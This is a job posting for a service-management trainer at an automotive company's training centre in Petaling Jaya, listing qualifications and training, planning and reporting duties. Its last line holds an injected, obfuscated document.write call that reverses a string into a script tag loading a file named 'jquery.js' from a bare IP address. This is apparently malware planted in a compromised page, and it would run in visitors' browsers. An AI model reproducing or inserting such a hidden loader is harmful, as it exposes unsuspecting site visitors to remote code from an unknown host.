Location: Glenmarie or PJ
Age: Between 35 to 45 years
Qualification: Minimum qualification with SPM or STPM.
Possess a Diploma in Automotive Engineering from recognised technical institution/college.
Experience: Have 3 years’ experience in similar capacity in conducting courses for non-technical training.
Good command of spoken and written English and Bahasa Malaysia.
Have 5 years working experience as Workshop Manager or Supervisor is an advantage.
To assess the non-technical subject (service management) training requirement, plan, formulate and conduct training according to specific course content to suit the present and future needs in the service network and internal organisation pertaining to customer contact area.
Nature & Scopes:
The job holder is based at the Training Centre, Petaling Jaya. Will share lecture room with technical training section depending on the number of participants attending the course. Lecture room 1 can accommodate maximum 35 persons while lecture room 2 can accommodate 20 persons.
He is responsible to conduct service management courses such as service advisor qualification, customer communication for managerial personnel both for managerial and customer contact personnel, service workshop operation, service business management, service marketing and system training – Dealer Management System (DMS) and warranty system.
His job responsibility covers updating of non-technical training statistics and administration using “eTAS” software provided by the company. Administer its training information and material including maintenance of computer hardware and training aids.
His job also involves annual planning of non-technical training activities including in-house, decentralised and mobile training programme in the service network and inter-department as per frequency per person and number of specific courses to meet the training needs.
He is to feedback to branches and dealers in the service network on the participants’ conduct and understanding of the training and contents of courses conducted after the training in order that upon returning to their own outlets, the management is aware of the knowledge acquired by the participants and utilise their skills according to the level of knowledge acquired.
A follow-up on the respective participants on their action plan after the training course is monitored for the purpose of identifying its progress and effectiveness of the previous course attended. This enables the job holder to plan for future courses for upgrading of staff.
In his course of duty, he will be required to attend upgrading course such as train-the-trainer and attend seminars/conferences either invited by the company or in other country and also to identify management courses in local professional institutions.
Prepare and budget training equipment and material for future training needs which requires management’s approval.
The job holder has also to assist workshop in formulating job description and workshop organisational procedure in order to effect better workshop operation.
Prepare annual training programme and plan date of execution to meet the requirement and schedule.
Conduct non-technical subject training such as service advisor, service management, communication and system training.
Maintaining the status of the non-technical training activities and results on monthly basis for preparing annual report to be submitted to The company, Japan.
Identify yearly training requirement in accordance to the needs of the current qualification or experience and weakness in the workshop management and supervisory staffs including customer contact personnel in the service network.
Co-ordinate with Human Resource Department to analyse the needs of the AfterSales staff to select suitable courses for them to attend in the local professional management institution.
Attend seminars/conference as per invitation from The company, Japan in order to gain experience and knowledge among counterparts in the The company worldwide distributors.
Assist inter-department and sections in AfterSales Department for maximum utilization of management information to support the service network in organisational matters and service promotion and marketing programme.
Ensure the service network conforms to customer service standard in order to reflect a uniformity in providing good after-sales service.
Update non-technical personnel staff in the service network organisation in order to maintain latest personnel information. document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))